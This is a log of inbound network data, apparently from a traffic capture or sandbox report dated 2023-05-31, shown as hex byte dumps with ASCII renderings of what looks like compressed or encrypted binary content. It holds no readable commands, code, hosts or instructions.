2023-05-31 10:22:22 UTC	4780	IN	Data Raw: 90 fb a6 92 bb 42 be b2 90 bb 90 af 84 dc 56 72 07 72 1b 72 e7 93 71 31 6b ca 02 b4 2c 0b d0 64 01 5a b2 00 75 5d 80 06 0b 50 67 01 1a a6 f6 bc 2a e4 9a 85 5c 85 5c 13 72 59 c9 15 c8 65 c8 15 53 c9 17 42 2e 59 c8 17 90 4b 42 2e 28 b9 08 b9 00 b9 68 2a f9 4c c8 e7 16 f2 19 e4 73 21 e7 94 9c 87 9c 83 9c 37 95 7c 22 e4 53 0b f9 04 f2 a9 90 33 4a ce 42 ce 40 ce be e9 62 76 69 d0 14 c5 9c 3e c3 9e e7 19 f6 1c cf b0 e7 0d 7d 22 ff 44 35 a7 68 4e d0 9c 1a aa c9 a8 26 8b 26 83 26 6b a8 26 ad 9a 63 34 69 34 c7 86 6a 92 aa 49 a1 49 a2 49 19 aa 49 a8 e6 08 4d 02 cd 91 a1 9a 98 6a e2 68 62 68 e2 86 6a 22 aa 89 a2 89 a0 89 1a aa 09 a9 26 8c 26 84 26 6c a8 26 a0 9a 20 9a 00 9a a0 a1 1a 9f 6a fc 68 7c 68 fc 86 6a 3c aa f1 a2 f1 a0 f1 1a aa b9 af 1d 34 cf 6b ec 89 d6 d8 Data Ascii: BVrrrq1k,dZu]Pg\\rYeSB.YKB.(hLs!7\|"S3JB@bvi>}"D5hN&&&k&c4i4jIIIIMjhbhj"&&&l& jh\|hj<4k
2023-05-31 10:22:22 UTC	4796	IN	Data Raw: 63 4a 8e 43 8e 41 8e 9b 4a 8e 08 39 6a 21 47 20 47 85 1c 52 72 18 72 08 72 f8 21 f2 23 0d c0 78 c4 05 08 c8 02 04 2d 0b 10 60 01 82 b2 00 3e 5d 00 3f 0b e0 63 01 fc a6 f6 dc 23 64 af 85 ec 81 ec 15 f2 7d fb 40 7e de e6 be ad cd 7d 5b db 50 f2 6d 7b 4f be 6b bf 4c de 7d f6 92 cf f1 67 5d 25 6f 21 df 40 de 9a 4a 5e 0b 79 63 21 af 21 6f 84 bc 54 f2 0a f2 12 f2 ca 54 f2 5c c8 0b 0b 79 0e 79 21 e4 a9 92 67 90 a7 90 67 0f 91 cd bb 98 8d 65 01 26 96 05 18 b3 00 13 59 80 a1 2e c0 88 05 18 b2 00 23 53 7b 3e 10 f2 b5 85 3c 80 7c 2d e4 9e 92 fb 90 7b 90 fb a6 92 bb 42 be b2 90 bb 90 af 84 dc 56 72 07 72 1b 72 c7 54 72 53 c8 2d 0b b9 09 b9 25 e4 ba 92 1b 90 eb 90 1b a6 92 ab 42 ae 59 c8 55 c8 35 21 97 95 5c 81 5c 86 5c f9 64 5c cc 2e 64 01 4a 96 05 b8 60 01 4a b2 00 Data Ascii: cJCAJ9j!G GRrrr!#x-`>]?c#d}@~}[Pm{OkL}g]%o!@J^yc!!oTT\yy!gge&Y.#S{><\|-{BVrrrTrS-%BYU5!\\\d\.dJ`J
2023-05-31 10:22:22 UTC	4812	IN	Data Raw: f1 35 5b fb ba 47 fd ce 3d c4 d7 81 da d7 11 f5 3b 47 60 82 52 b7 22 79 e2 65 82 83 b4 6e 87 f3 86 8a af 83 b5 af c3 ea 77 0e c3 28 a5 5e 56 bd 61 70 7d 62 b0 8c d2 a3 f5 42 f7 e6 9d e2 e3 10 ed e3 90 fa 9d 43 c4 d7 a1 da d7 e1 f5 3b 87 63 7a 52 8f 24 d7 ba c9 f4 f6 d0 7a 2c 4e f5 2a be 7a b5 af de fa 9d 5e f1 75 4f ed 6b a0 7e 67 00 13 94 ba 2f e4 af 97 e9 0d d3 7a f7 e0 fa 9d 83 c5 57 9f f6 d5 57 bf d3 87 31 4a 9d b9 7a c3 a0 fa c4 20 19 a5 5f eb ec 38 23 ba f8 3a 5c fb 3a b4 7e e7 50 f1 75 2f ed eb 5e f5 3b f7 c2 04 a5 7e 5e bd 61 40 7d 62 80 4c 70 84 66 07 70 1a 6f f1 35 a0 7d dd b3 7e e7 9e ec 2b ce 14 58 95 54 fa c1 48 cd 20 a8 fd 60 1f ed 2b eb 07 52 6f b7 f6 83 a0 66 0d d4 7e 30 4a fb aa f6 83 7d b5 af ac 1f 48 a6 c1 da 0f f6 d3 4c 87 da 0f 42 da Data Ascii: 5[G=;G`R"yenw(^Vap}bBC;czR$z,N*z^uOk~g/zWW1Jz _8#:\:~Pu/^;~^a@}bLpfpo5}~+XTH `+Rof~0J}HLB
2023-05-31 10:22:22 UTC	4828	IN	Data Raw: 7d a5 db 1b b4 8d c0 6f 1e c7 1b 81 78 3f 89 e7 04 5c dc d9 e2 72 39 b8 80 01 e7 f0 2a a8 81 3d f9 67 fd 98 e1 77 bf 7d 94 de d7 89 e8 d2 8b 3a 21 63 40 0d 26 dd be df 00 17 fb 79 05 36 5a 30 d2 c0 01 69 d8 9e 86 77 0b d8 3b 0f 7e b7 1e de 2d 64 ef bc b0 3d 8b df 45 8b e0 85 1f bf b8 13 5e 94 c0 8b 00 6c 4f c3 8b 32 78 11 c4 2f e6 c3 8b a5 f0 22 84 5f cc 86 17 15 f0 22 8c 5f 9c 05 2f 2a e1 45 04 bf f8 25 bc 58 06 2f 72 f0 8b 23 e0 c5 72 78 31 16 bf 08 c3 8b 95 f0 62 1c 1c cf 87 17 d5 f0 22 17 bf e8 9e 8b 5f ac 86 17 13 f0 8b 2f e0 c5 1a 78 31 11 bf 68 83 17 6b c9 3e 2d db 4f 25 f7 99 d2 94 92 78 9a 4f 94 76 73 fd d6 03 e2 55 58 3e f5 5b b2 86 bc ca f6 14 59 31 0f f9 86 8b 85 e2 55 0b a1 58 b6 b5 98 97 7c c3 c5 f6 8d 17 14 d5 6f 19 64 2d e3 47 1f 70 81 20 Data Ascii: }ox?\r9=gw}:!c@&y6Z0iw;~-d=E^lO2x/"_"_/E%X/r#rx1b"_/x1hk>-O%xOvsUX>[Y1UX\|od-Gp
2023-05-31 10:22:22 UTC	4843	IN	Data Raw: 82 4c 91 05 72 72 ed 94 c1 bc cc 66 56 62 0e b7 12 6c b2 c9 86 36 23 09 8f 85 7f 72 ed 94 c1 d6 cc 66 26 63 0e 37 19 6a 2d bc 66 12 5e 43 2d bc 8c 84 d7 50 0b 3f 23 e1 b7 d4 c2 6f 26 11 60 10 01 0b 53 d2 44 7f 36 eb f1 73 78 8f 57 b1 07 f5 b2 21 56 36 64 c1 1b d2 cb 86 59 d9 b0 05 6f 58 2f 1b 61 65 23 16 bc 62 a2 af a8 ff 01 eb 54 f5 0f 8f e1 ea bf e9 00 79 78 9c 34 90 8d b5 da f8 7d d2 3c 7d c8 7d f5 69 15 67 9e c0 79 b5 82 b3 cb 32 7e 5f 7e 8b 8e 6c 91 3d b2 43 15 64 ab 52 8c df 09 31 7e 8b 33 c7 0b 79 bf eb db 30 2e 0e 56 f2 d1 7c cc 6e 1b cd c5 c1 50 3e a8 5b 90 f7 7a 50 d7 39 f7 1a 90 f7 7a 6c d7 39 f7 1b 90 f7 7a 88 d7 39 0f 18 90 f7 7a a4 d7 39 0f 1a 90 f7 7a c0 d7 39 0f 19 90 f7 7a dc d7 39 0f 1b 90 f7 7a f8 d7 39 8f 18 90 ef d6 59 00 33 01 d7 3f Data Ascii: LrrfVbl6#rf&c7j-f^C-P?#o&`SD6sxW!V6dYoX/ae#bTyx4}<}}igy2~_~l=CdR1~3y0.V\|nP>[zP9zl9z9z9z9z9z9Y3?
2023-05-31 10:22:22 UTC	4859	IN	Data Raw: 8e 4a 99 7a 1f 88 9e 62 43 f4 1e 4a 34 17 13 7d fe 28 51 c5 07 58 1a 49 e8 df 12 b5 f8 df ac 79 24 ef 74 d9 2b 6b d3 3b 66 ca 0f 51 ca cf 79 10 e5 5f 1c 45 f3 46 52 c3 74 04 7b ce 4d 93 47 f2 ac 8d 3c 8f a4 af 6c 20 bd 1c 29 aa e7 92 1c 0b b9 24 e1 36 71 1b 2e 0f b5 e1 f2 09 ca 65 00 73 79 4f ae 68 94 93 7c 4b 6e 72 d1 46 99 00 21 0a 6a a3 0c ce 85 46 c9 43 62 ca 4b 99 a4 65 cd db ea e2 2a a3 bc 8e 52 be 7b 30 be ff 29 97 24 69 99 93 22 ff 7f aa 94 96 40 e9 97 6f ab ab aa 8c d2 2b 94 d2 38 4c e9 99 f1 96 94 2d 89 bf eb 33 a1 4c 53 5a 92 65 55 48 69 f9 c5 5a 9b 94 96 13 dd be d2 3d 06 30 88 7b 05 c4 f3 6b e5 45 56 02 82 0a a1 8e bf 50 14 fa d9 5a b2 f2 f9 e5 33 f2 ca 67 22 1b 36 97 00 e3 99 a2 f0 a5 02 a3 47 c2 88 fa d9 38 96 c4 9f f7 33 9a 19 13 cf 67 73 Data Ascii: JzbCJ4}(QXIy$t+k;fQy_EFRt{MG<l )$6q.esyOh\|KnrF!jFCbKe*R{0)$i"@o+8L-3LSZeUHiZ=0{kEVPZ3g"6G83gs
2023-05-31 10:22:22 UTC	4875	IN	Data Raw: be f1 0b f3 d5 2e 4f 4c fb f3 ea 23 d5 9e 9e ca e7 1e 35 c2 08 11 00 57 87 fd 48 b8 73 3f 01 1d 05 f2 54 ac c6 44 65 3d 8c 9d aa cb ab 6b 21 b8 a0 59 bf ab f1 1c a9 79 a1 93 f1 03 26 2a 57 f5 ee 63 a7 41 28 af 9c 04 71 00 a4 5a 59 ff 36 84 45 03 66 14 04 2d 5d fa f4 44 1e a9 f2 f1 53 1d 76 12 ca 77 e7 90 b1 02 f4 99 b5 f0 1b 21 9c 28 2d b9 aa 7f a5 9d 8f 54 f9 5a 7a 38 bc 59 e5 c6 b6 26 2d dd 49 b4 e8 91 96 82 f6 30 2c ad b6 6a f8 61 64 e5 44 1b 11 84 4f 9e 61 f5 00 3e e6 9e 73 77 75 58 13 91 15 92 99 33 08 d8 18 85 6c 8c da 04 5c a4 e8 52 80 83 94 9a 6c e8 05 33 74 a3 a0 bd 26 a3 84 dd df 8a 84 04 34 78 b5 03 9b be fa 78 0d cc 29 1a 7b d0 b6 3f 5a 8e b9 9b 7b 92 c5 db 34 b6 a4 3c c4 c7 19 e2 88 96 07 80 21 a2 38 b1 b2 69 3b 02 13 87 91 3d ff 75 79 20 3d Data Ascii: .OL#5WHs?TDe=k!Yy&*WcA(qZY6Ef-]DSvw!(-TZz8Y&-I0,jadDOa>swuX3l\Rl3t&4xx){?Z{4<!8i;=uy =
2023-05-31 10:22:22 UTC	4891	IN	Data Raw: 2d 84 f4 b2 1c 61 05 04 6d 79 8e 90 0f a1 0c c2 90 dd 39 c2 7c 08 3b 21 c4 7e 97 23 18 21 38 20 c4 ef 01 38 84 33 10 12 bf cf 11 2c 10 5c 10 12 fe 91 23 6c 80 d0 0a 21 ed 07 48 43 88 aa c8 11 96 40 f8 11 42 d2 de 1c 61 2d 84 33 10 12 f7 c1 7b 10 2a 20 a4 55 e6 08 cb 21 d4 42 88 ff 31 47 58 09 c1 05 61 c8 7e 28 07 82 0b 42 c2 01 e0 0b c2 1e 08 09 07 01 7e 10 cf fe 02 9d 2a 80 43 d8 03 21 a1 1a d2 10 ca 20 0c 39 04 b2 82 e0 80 10 5b 03 75 83 70 12 42 e6 e1 1c 61 15 84 33 10 b2 8e 00 3f 10 ea 21 24 1e 05 7e 20 54 40 88 3e 06 72 81 b0 09 42 2b 84 b4 5a 28 0b 82 e6 38 94 0b e1 24 84 21 27 72 84 f5 10 9a 20 a4 fc 94 23 14 40 38 0c 21 f6 24 c8 09 82 03 42 e4 3f a1 3c 08 ab 20 b8 20 64 9c 02 3e 20 08 3f 03 1d 08 65 10 b4 ae 1c 21 1b 42 19 84 34 37 94 09 21 e6 34 Data Ascii: -amy9\|;!~#!8 83,\#l!HC@Ba-3{* U!B1GXa~(B~*C! 9[upBa3?!$~ T@>rB+Z(8$!'r #@8!$B?< d> ?e!B47!4
2023-05-31 10:22:22 UTC	4907	IN	Data Raw: 8d 81 a2 39 b4 9b b5 a2 68 db 44 84 7e 2b 27 ad 67 09 82 79 a4 27 93 57 17 c5 2c e3 1e a4 bb f7 22 c5 84 a9 d3 f4 8d 7d a8 7c 61 16 4f 96 9e 86 9a 17 bf 78 a8 ff 19 da aa af c9 9f 9c 96 a1 dd 64 c8 d2 92 3f e1 57 fc 5c e8 cd 68 80 e6 8d 5a 1a 7e 52 9b 76 97 2f a1 52 f9 5a 92 fc 9e cb ba 89 79 d2 9e eb df 69 6f b1 27 f9 f0 5b 64 6d d4 1d 39 59 9e cc 25 a9 83 8c c5 76 a3 db ba 43 14 d6 bd 09 9f aa 19 fa cb 0f a5 d1 07 ac 61 90 f2 95 75 98 9c 42 d1 08 21 b2 09 dc 44 37 0e f4 63 f5 e3 4d 28 5a 63 2b 5f d3 3d 03 53 b2 b3 20 fb 2b 04 73 5d e7 b2 f6 a7 f6 70 59 50 44 8a 31 06 e8 6f 1c 81 03 ba 1f e9 5d 96 30 9d ba 4a c4 8c 57 f1 e7 57 1a e1 f9 ab 89 92 e4 03 d0 3e 74 26 d3 42 7f 44 cf df c5 a4 e6 c8 d1 e3 4a 63 04 39 ae 80 a1 63 26 f5 5c 71 0e fd 2e 89 f3 5f eb Data Ascii: 9hD~+'gy'W,"}\|aOxd?W\hZ~Rv/RZyio'[dm9Y%vCauB!D7cM(Zc+_=S +s]pYPD1o]0JWW>t&BDJc9c&\q._
2023-05-31 10:22:22 UTC	4908	IN	Data Raw: ea a9 b8 2a 96 a7 47 7b d0 c5 a8 37 50 f3 6f 82 49 cf f1 b4 66 ed 4a 64 bd 30 e1 27 f7 5c 46 e3 f3 57 fc d3 13 33 5c 10 8f 64 b6 e9 e3 11 12 3d 00 e9 de b3 49 ab d5 9d ef 4e a8 46 10 1d e1 a3 6e 56 61 8b 92 35 fb 71 34 06 bb 5c 77 93 b4 ee 13 da 2e b5 05 63 52 0e 91 f2 8a f3 b8 39 f3 35 45 c4 96 d3 b1 84 46 aa 8a 2c c4 eb 0f f2 f8 a5 2b 42 e1 5e 9a 34 b0 38 8d 72 d7 9e 26 e9 6e 42 2c 65 d5 3c fa d9 6f 1f 9b 6a 38 08 5b fc fa e1 cc 15 43 1a 7f ce 80 02 a7 8d a5 42 c9 58 4a 79 31 97 9e 0f dc 41 eb a5 ce 51 fb ee fb 68 51 2b 25 eb 6d 9f 98 e7 d4 32 78 5b 65 c3 73 4b 16 ed 58 fb 8e 5d bd be 16 8b 6d 62 d8 8e ee 89 d8 b5 5d 8f 6e 86 b5 a1 35 c4 82 f7 b7 ed 47 cb 62 de 90 b2 ee 55 a8 96 ef a5 5d 6b 0e 21 a7 87 2a 9b bc 50 99 14 66 cf a4 9c fa 08 ac 33 71 e1 a1 Data Ascii: G{7PoIfJd0'\FW3\d=INFnVa5q4\w.cR95EF,+B^48r&nB,e<oj8[CBXJy1AQhQ+%m2x[esKX]mb]n5GbU]k!Pf3q
2023-05-31 10:22:22 UTC	4924	IN	Data Raw: da 3f b5 0a 94 ea ff c5 cd 04 bd 5b 30 22 84 08 dc 22 80 9e f0 df 59 12 16 d4 89 3c 7e 81 82 8e f3 7b 7e fb a7 ef 3a 0b bc f3 e4 cb 33 c2 37 48 20 ff 07 b8 ff 6d 16 fe d7 8a 5e 82 1f 9e 21 c1 02 6c 0b 13 90 7b c1 d4 26 d8 78 b8 ef 5f a4 bf 73 c9 ce ce ad 0e 9b 90 20 81 fe 80 7f 3c f9 4f a0 33 10 78 c8 d7 df 5f 60 de 5f 18 f9 1b 1d ff 81 ad 9d 36 09 38 a7 6b 60 94 5c 27 ba 77 d1 3b d7 00 cf 3f 0d 57 5d ce ea cf 80 d0 b9 3d 81 5c 94 67 d8 24 39 b9 b9 9d 4a 3b 9d e7 ea 2d 98 86 05 10 14 14 f8 37 66 fe 1b 62 0a 42 2f 17 1a ee 16 1a 25 60 19 01 06 7f 11 4a c1 80 64 df e9 90 b0 2e ca 2f b8 e5 2a a0 e7 9d 86 74 ba d6 ae 6b 65 53 2b bb ce 63 c7 48 93 90 20 3f cf 40 5b cf d0 20 ff 08 81 17 bc fe b8 ed 1f 67 53 ff b6 de ef 4d ff 59 06 82 4f 6a c1 be 81 9d d1 57 5b Data Ascii: ?[0""Y<~{~:37H m^!l{&x_s <O3x_`_68k`\'w;?W]=\g$9J;-7fbB/%`Jd./*tkeS+cH ?@[ gSMYOjW[
2023-05-31 10:22:22 UTC	4940	IN	Data Raw: 2f 0a 58 fd ea cb 43 18 bb 79 93 de f6 83 61 bf 1d de bf 1a 9e ff 0d 9e 04 cf 4e 53 4c c2 8f 33 7c c4 79 d0 5b c2 69 79 19 8c c4 74 c6 90 2c 9e 3b bc 14 86 13 f6 5f 07 cb 01 0d 99 6a c2 7b 4a 44 51 78 1d 12 4b 4a 90 1a bc 47 9e 64 34 62 6a 60 92 a6 9d b5 0c 59 56 80 19 f6 36 10 dd 6d 9b 29 25 f6 25 61 49 2c 83 c8 5e d6 a6 35 19 d1 3c 64 d7 ce f3 54 38 4f f1 6a fa 4b 16 96 36 31 92 3a 16 8e 1a cb 7a 13 66 f5 17 2d 19 6b 9e 44 62 fb a6 89 52 6c 87 93 2b a7 03 95 fd b2 5b 4c 4f 6b 68 37 e9 3e 91 04 76 16 d3 2e 7a 4d 36 7e 80 13 be 61 37 0d 19 9b 96 5e 38 77 cc 71 7e 13 cf 5f d1 5f 82 b6 72 53 24 bf ba b5 be 68 50 4d 95 e2 76 32 55 d1 2d fd 32 c6 3d 5a 77 49 b3 77 82 77 ac fd 4f 2f 83 39 0a 6b 20 ab 46 7c fc 26 bc 2c 31 56 10 e7 f9 e0 a1 87 02 18 86 3b 41 4b Data Ascii: /XCyaNSL3\|y[iyt,;_j{JDQxKJGd4bj`YV6m)%%aI,^5<dT8OjK61:zf-kDbRl+[LOkh7>v.zM6~a7^8wq~__rS$hPMv2U-2=ZwIwwO/9k F\|&,1V;AK
2023-05-31 10:22:22 UTC	4956	IN	Data Raw: ab 2b c7 5e 13 e4 bf 79 4a 77 c6 86 5a 5f 93 ec 36 d9 06 f5 1f be aa ad be f2 3f 6b ab af 58 f3 60 bc fe dd d3 3c f4 ae c5 6b 40 16 04 4a e8 19 c1 0d e6 51 1c b9 ef a2 d1 1e 32 38 4b 83 c6 22 14 d1 ef 5b 14 8c 12 b2 16 49 cd 22 4b da 42 29 b4 57 b8 32 ad 78 fd 8a 53 ea 04 da 38 1b 0a 5c 58 d5 eb 6d 70 45 5a 01 c8 78 c3 f1 b2 e7 df c3 d5 6f 95 bb 0a 24 2e 58 91 83 f8 96 38 03 d7 01 6a 29 6a 3d c1 b5 b0 45 03 02 0d 63 48 8b d5 b7 c0 cc 35 cf dd 5d cb b9 e0 bd 08 f4 8d c3 62 81 b8 34 b3 f7 ce cf 00 8e e0 19 eb 02 b1 f2 a9 22 4d 4c 44 4a 68 8d ea 7b 34 91 d7 0e 01 23 02 1c 89 bd 54 2c e2 0c 5e 2d f4 90 75 9e 0e a9 86 e5 2c 2b fb 0c ef 63 c8 f5 bb e8 1f 59 9a 9b 5b 7c 09 82 96 3b e8 1a 06 d7 39 fb bb c6 21 96 ce 0c 43 bb f2 11 c1 24 53 89 63 a9 12 02 d0 62 83 Data Ascii: +^yJwZ_6?kX`<k@JQ28K"[I"KB)W2xS8\XmpEZxo$.X8j)j=EcH5]b4"MLDJh{4#T,^-u,+cY[\|;9!C$Scb
2023-05-31 10:22:22 UTC	4972	IN	Data Raw: 66 88 6a 9a 9c 67 e8 e4 83 50 4d de 9b 80 0b 3f bc c8 cc b4 2d 7e 48 b0 1c cf 32 42 49 66 32 b8 b5 32 83 21 ae 68 40 e3 26 0b 08 02 e0 73 1e 4c f8 47 26 40 1b b2 6c 23 2b 93 81 2d 82 05 e1 af 29 15 39 bb 98 a3 f9 e0 8c f5 91 19 60 25 e4 1b f5 3a aa 66 48 66 e3 57 1a fb e9 e5 30 c0 2a 2f 96 e1 05 e7 0a b9 a6 d1 f0 6c ee cf af 75 08 54 89 f1 17 c1 68 a6 db 4c 45 64 34 e0 93 c0 c8 9e 99 15 33 59 64 64 4d 28 fb 77 e2 ef 9f 7e e9 44 a1 69 bb 7f f1 a5 ec 47 f8 4b be 8c bf 7f 8e bc 1f c1 1b 4d bb 95 bf 8c e3 9f c9 fb 63 12 7e 26 df 23 79 7f 56 f2 7d a3 7c 7f 93 bc ff a8 bc ff 94 bc ff 9c bc ff a2 bc bf 4f de df 2f ef 7f 24 ef 1f 93 f7 57 3e e0 f7 c6 83 b8 bf e3 26 a0 76 00 1e 33 74 28 0a 02 44 2b 89 f0 3c d8 88 42 2a 23 6c 17 f6 8d ea 71 1e 3a 48 77 99 51 d7 c7 Data Ascii: fjgPM?-~H2BIf22!h@&sLG&@l#+-)9`%:fHfW0/luThLEd43YddM(w~DiGKMc~&#yV}\|O/$W>&v3t(D+<B#lq:HwQ
2023-05-31 10:22:22 UTC	4988	IN	Data Raw: 52 78 2b 47 6d c8 d3 2c e1 cb 3f 13 18 35 b0 6e 6d 69 8f 1e 25 81 64 6d 77 58 01 0c 98 32 2b 40 7a bd bf 77 78 d4 06 ab 87 16 7b 09 a8 a2 a6 39 1c f6 73 f6 81 aa b0 12 62 10 a3 eb 13 7c 34 19 0f 5f a6 ac f4 86 34 17 6f bf a6 f0 d4 01 d7 0b 27 c2 49 a7 60 7d 49 b7 8b 07 ea 49 90 07 1f 33 01 b5 88 ed ce e1 d6 c1 ce fe d1 de 41 fa 66 ff d5 de e6 36 f3 27 b1 1c 9a fc ba 9e 64 72 4a 89 ff 91 4b 37 2f 41 3b c0 a0 e4 e8 6c 7c 26 7e 69 30 39 e3 1c 1a 91 31 6e 82 dc 9e d0 56 0a 5a fd d0 a1 86 9e a8 6b f8 93 61 d9 cf 27 c5 49 4d 59 33 a3 f0 10 d7 6f f8 6a 0e ae ee c0 df 65 cf 82 06 f1 10 c9 90 e8 e5 c9 78 86 aa f4 8e c3 16 77 69 a5 9d 89 ae fb 6d 7a 36 8e 96 e8 92 3b 79 c0 4b 11 57 cd e2 f2 4e a8 13 b0 1c a0 27 0a ba e3 4e 70 d5 8f e8 92 37 af 86 c3 77 82 ce 2b 4b Data Ascii: Rx+Gm,?5nmi%dmwX2+@zwx{9sb\|4_4o'I`}II3Af6'drJK7/A;l\|&~i091nVZka'IMY3ojexwimz6;yKWN'Np7w+K
2023-05-31 10:22:22 UTC	5004	IN	Data Raw: ec e4 0a 7a c6 8c 6d cd 23 66 f9 13 ae 0d f7 84 4d a4 7e a0 74 36 f1 92 16 85 04 5a 9d 46 3d 52 f2 51 36 e5 67 6c c2 4d 49 18 31 a1 8c e2 b3 24 82 35 0c fc 7a 88 6c 8d 08 03 87 4c 24 0b 4a 64 a6 a1 63 4e 3a 34 46 c1 10 98 60 78 fd 10 30 e3 63 0c cd 45 af 38 0a e7 00 e5 49 98 d5 cc 9f 9a 47 d7 ac 0e a6 8f c6 43 7a 9b f1 79 e4 c7 83 89 70 28 f5 81 a5 bf 39 01 2a af 88 af 79 0f b7 6f 5c 67 e7 f0 68 f3 e9 ab 9d 43 f1 b7 ca 6b 7a 05 a8 67 a9 52 80 34 d5 f7 53 ef b8 26 e5 51 6f 8c 47 29 12 c1 91 ea 81 77 6a 63 5b e9 9b 28 23 df 36 c5 c8 9d 73 38 bb 76 fc 04 2a 8b 70 4a ff e8 c6 05 aa 0e 91 aa 7c c7 41 c0 30 d1 69 37 d7 e4 c3 1b 0d ee c2 27 71 a6 85 79 a0 9f 4f 23 88 94 95 aa 0c 4c ea fc c2 1a 5c d5 2e 3e fa 11 37 d9 7c 1d 36 88 3e 12 89 13 9d 14 72 7c 2a c5 01 Data Ascii: zm#fM~t6ZF=RQ6glMI1$5zlL$JdcN:4F`x0cE8IGCzyp(9yo\ghCkzgR4S&QoG)wjc[(#6s8vpJ\|A0i7'qyO#L\.>7\|6>r\|*
2023-05-31 10:22:22 UTC	5020	IN	Data Raw: 46 b4 68 76 34 d4 e0 a0 72 2f 8a 24 d9 9f 7b 6d 77 5e 49 5d ec 79 d1 62 ce 73 7b 6a da f0 70 5e a7 da e6 b5 50 e0 51 72 03 d9 05 17 12 dc 4b ac 5b 73 0c 91 c0 43 18 5c e5 e3 b1 b3 09 0e 52 c1 06 57 1b 1f 34 5a e6 2b bb d0 21 97 33 5a bc 41 da 93 9a ef b2 99 ae 85 44 2e e8 63 7e 3f 8b 8c 41 98 11 59 e4 d3 5a ae 82 fe 4c db b5 4e ac af 70 bb d0 6a 46 70 95 ca e5 de e6 89 fa e2 ce b3 71 af c8 c7 2b 75 63 2c a4 46 dd b4 b1 6f 73 29 20 8b 46 c4 d9 db c9 68 89 61 ce 0a eb 44 c4 c9 c4 ae c8 6d 69 bd 54 1d 72 57 d0 02 d7 d6 15 53 5b 8e 76 a4 52 12 9e 50 8c 03 b5 c1 d4 86 5d 07 41 1f f8 9d 87 57 25 0a 6a 3d 0e ee d4 d4 36 dc cd 18 0d 36 3f 50 7e da f8 51 7d 96 b5 e4 47 45 17 b8 40 48 d7 5c 22 5f de d5 6c f8 e2 33 d2 cf 61 b0 3b 78 5f 05 5b 58 48 aa 1d 25 29 dc 91 Data Ascii: Fhv4r/${mw^I]ybs{jp^PQrK[sC\RW4Z+!3ZAD.c~?AYZLNpjFpq+uc,Fos) FhaDmiTrWS[vRP]AW%j=66?P~Q}GE@H\"_l3a;x_[XH%)
2023-05-31 10:22:22 UTC	5033	IN	Data Raw: 1d 7c e4 da 65 fb fe 91 f3 61 64 5a da c4 96 fd e3 46 e5 49 9e a0 38 fa 61 b0 24 51 32 c3 65 a9 77 65 14 7e 22 87 57 14 06 99 6e 2d 7d 24 3e b3 0c 2d c8 7c 34 d1 6f 9f e9 d7 cf 8c 78 54 11 74 2c 71 5f 6d d4 31 12 6b b1 7b 7d f6 d8 3b 97 e6 0b dc e4 3a b8 09 23 7a 8b 26 b8 4b 4d a0 e9 68 46 bd 6c 02 84 23 71 8c 63 d4 45 bd c1 5d d0 b2 f0 49 ac 86 e8 be 31 3c 77 0b ef 29 ab 41 20 66 ae 1e 93 a5 18 3b cb d4 96 f5 06 d6 cf 40 dd c8 2d 6c 1d 84 b9 46 bb 20 d7 a3 d6 c9 78 58 96 fc ee 8e bb 1a 44 c0 ea ff b2 05 f5 d9 1e b5 6e 38 6a b1 ff 73 45 dc 14 cb a2 b2 e5 5b 6b a8 18 05 17 33 b4 1c 8c 43 c5 36 5f 8d a6 63 38 d0 32 82 52 c7 30 75 c5 b8 a5 fa ce 55 d4 3d 1b 70 b1 0e 20 34 f7 ed 7e f4 6d 9d 61 f7 82 c8 e8 eb 7a 8b d9 87 41 74 fc 7d 9d 21 fa a2 dc c1 d7 75 0f Data Ascii: \|eadZFI8a$Q2ewe~"Wn-}$>-\|4oxTt,q_m1k{};:#z&KMhFl#qcE]I1<w)A f;@-lF xXDn8jsE[k3C6_c82R0uU=p 4~mazAt}!u
2023-05-31 10:22:22 UTC	5049	IN	Data Raw: e6 c6 bb 94 2f 33 4f 63 b5 7c 58 72 5f d2 15 81 58 ab 8f 49 ab 83 51 b5 f1 aa 8b a7 9e ca 6f 97 bd 47 cc c0 63 c3 e3 c2 73 31 3c 4f 85 e7 2a 78 9e 07 4f 1e 9e 17 c3 73 23 3c 37 c3 f3 66 78 de 05 cf c7 e1 f9 00 c6 61 63 e8 2c 2b 8a 09 fb 24 fb fc 7f e1 61 71 a7 1e 30 c9 f6 a6 7f 6b 8d 4f db 9a 2c 87 3f 42 ab d4 85 28 57 09 c9 c9 9f 3e 81 ee 95 0b aa 4e 3a ed 86 c0 7c 37 88 98 28 2d 13 68 f1 e7 8f b7 50 ab 55 94 36 bd ae 9e 8d 30 20 4d db e7 81 94 6f 14 a6 0d 5f 09 2c 18 b0 2d 9c 18 1b b2 12 85 82 33 0f a3 cd 33 d8 ca a0 a1 6b 89 9b 74 c8 de a3 55 aa 17 67 0d 9a 15 ef 2e f9 9e f0 10 f2 f7 a0 5a e9 aa df 5f 1a 2f 21 89 3b ae ac 69 46 1b bc b4 11 f3 a8 10 a6 3d 41 69 69 b3 dd 5d 97 af 68 93 98 f0 c5 36 32 49 95 a5 3d 27 bf 20 f6 ba 76 57 59 c6 e4 2f 6c cf 49 Data Ascii: /3Oc\|Xr_XIQoGcs1<O*xOs#<7fxac,+$aq0kO,?B(W>N:\|7(-hPU60 Mo_,-33ktUg.Z_/!;iF=Aii]h62I=' vWY/lI
2023-05-31 10:22:22 UTC	5052	IN	Data Raw: 31 a3 ed da b9 79 ec 60 2e 07 81 fe f7 c7 ac 0e 27 3a 1f b5 96 f2 19 02 0e 2f 1f 5c 41 52 04 0a 99 01 0a 07 75 aa 9c 4c 8e 55 72 48 cf c8 48 d1 b0 0a e1 58 28 0f e4 0e 6d dc b8 9c 5f cc 47 61 ea 55 aa 65 6c 8d 68 b9 3a bf 11 76 8b 29 ec 9e 24 b5 e6 46 a8 e2 78 ec 9c d3 48 30 34 56 ca 41 25 08 7c 64 2c 36 b9 23 9e 9c 9a 49 d9 2c 32 aa e4 e5 b7 d3 27 34 18 ca cb c7 53 a9 ed ed 2e a2 fd 9a a6 b7 59 cc 0a 26 32 de 2c 20 25 8b 34 0f 11 b6 db ad 5e d5 3f 86 1c 5a 8f 25 0d 6c 10 6d 85 d7 0c e9 69 6b ba 0a 75 7f d8 3a 68 25 d4 1d 8b a0 99 cc 21 ab e6 1c ac 6d 5c a8 15 0b 5b e9 5a 13 46 c2 f6 bc 5b 8e 6c de 3c b0 25 d2 83 42 6a db d0 73 18 7e 20 67 f8 81 e9 5f 70 86 95 19 e1 8c 94 7e a5 a4 bb 48 78 32 66 e6 b6 6d 23 87 5f b7 6d a3 8c 3f 5b ce ad 60 6a 3d 81 34 08 Data Ascii: 